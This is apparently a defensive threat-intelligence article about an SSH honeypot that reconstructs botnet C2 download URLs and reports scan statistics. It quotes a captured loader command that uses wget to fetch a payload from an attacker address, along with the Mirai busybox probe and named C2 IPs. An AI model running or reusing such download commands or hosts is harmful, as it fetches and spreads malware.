Skip to content

Build1 publisher3 min readPublished

A honeypot that resolves ${SERVER_IP} across connections recovered 14 of 15 real C2 URLs

A Go decoy on port 22 logged 3,888 login attempts from 666 addresses in 22 hours, and the part worth copying is the resolver that turns a loader's URL template into an address you can actually block.

The Engineer · Build desk

Illustration accompanying A honeypot that resolves ${SERVER_IP} across connections recovered 14 of 15 real C2 URLs

What happened

  • A Go SSH honeypot exposed for about 22 hours recorded 3,888 login attempts from 666 distinct IP addresses, an average near 176 attempts an hour.
  • Almost half of those attempts arrived inside a single two-hour window rather than spread evenly across the run.
  • One address on AS198364 sent 820 attempts on its own, more than a fifth of everything the honeypot logged.
  • After the emulated shell accepted a login, a Gafgyt loader worked through architectures one by one, fetching pmips, x86_64, parm, ppc, sh4 and m68k binaries from 31.77.227.121.

Compiled by The EngineerSomething wrong?How this is made

Why it matters

  • constraint Rate thresholds tuned to the hourly average will fire late, because the busy hours ran roughly ten times the quiet-hour rate in the same window.
  • capability Cross-connection variable substitution means a day of capture yields addresses you can put in a firewall, not strings you have to interpret by hand.
  • exposure One loader carrying m68k, PowerPC and SH4 binaries alongside x86_64 means the router and camera sharing your egress are in the same sweep as the server.
  • decision Anyone copying this design has to pick an accept-after-N-attempts threshold, and that choice decides which credential gets recorded as the winning one.

A loader that writes `SERVER_IP=185.100.87.202; local_arch=x86` and then calls `wget http://${SERVER_IP}/new.php?type=${local_arch}` hands your log a template, not an address [14]. The honeypot described in the dev.to write-up keeps variable assignments keyed by source IP and substitutes them at capture time, including when the assignment and the download arrive on different connections [15]. Fifteen captured URLs produced fourteen with a real IP [16], about 93 percent [5]. That substitution is the difference between a log line and a blocklist entry [17].

The state is keyed by source IP, and that is also where it breaks. Two bots behind one NAT or one rented egress address share a namespace, so a late `SERVER_IP` overwrites an earlier one and the reconstructed URL comes out confidently wrong. One failure in fifteen is tolerable at this volume. It is the number to re-measure when the capture runs for a week instead of a day.

Getting post-login commands at all requires failing convincingly. Mirai's probe runs `/bin/busybox UNSTABLE` and reads the error text; the honeypot returns `UNSTABLE: applet not found`, which is what a real busybox returns, and the bot proceeds to the download stage [10]. Emulate the success path there and the session ends before the payload URL ever appears.

The traffic figures need more care than the mechanism does. An average of roughly 176 attempts an hour [2] describes no hour that happened: nearly half the attempts landed inside a two-hour window [4], which puts those hours near 972 an hour and the other twenty near 97 [1]. A single IP on AS198364 contributed 820 attempts [3], 21 percent of the total [2]. Remove it and the other 665 addresses average 4.6 attempts each [4]. Scan volume is campaign-shaped, not ambient.

For any of this to be your own baseline, your host has to sit in similar address space. The Netherlands supplied 1,278 of the attempts, a third of the window [5][3], and the author's reading is that this is cheap rented hosting doing mass scanning rather than individuals [5]. The call is coming from a VM with an invoice. Target selection matters too: `crypto` showed up among the most-tried usernames, which the author takes as scanning for wallets and miners rather than shells [19].

Adoption cost splits cleanly. The three C2 hosts named for blocklisting [17] are the artifact that decays fastest, since loader infrastructure rotates. The durable parts are the resolver and the accept-after-N-attempts policy that produces a shell to log in the first place [6]. That policy is worth stating in your own writeups, because the credential your table records as successful is partly a function of how many guesses you allow before saying yes. The safety envelope is what makes running it defensible: pure emulation, no execution, no egress, with time and command limits [18]. The same run also showed one bot serving binaries for x86_64, ARM, MIPS, m68k, PowerPC and SH4 [13], so the fingerprint step that reads `uname`, `busybox`, `toybox` and `/proc` is not incidental [12]. It is how the loader picks which of those to fetch.

What to watch

  • Whether 2.26.136.128, 31.77.227.121 and 217.60.195.113 are still serving architecture-specific binaries a week from capture, which decides how long a one-day blocklist is worth anything.
  • A longer run reporting a median hour and a median per-IP count, which would say whether the two-hour burst is the normal campaign shape or a single event.
  • Whether the per-source-IP variable namespace starts colliding once more than one loader is active behind the same address.
Loading claim ledger
Loading source directory links
Loading share composer
Loading topic controls
Loading related stories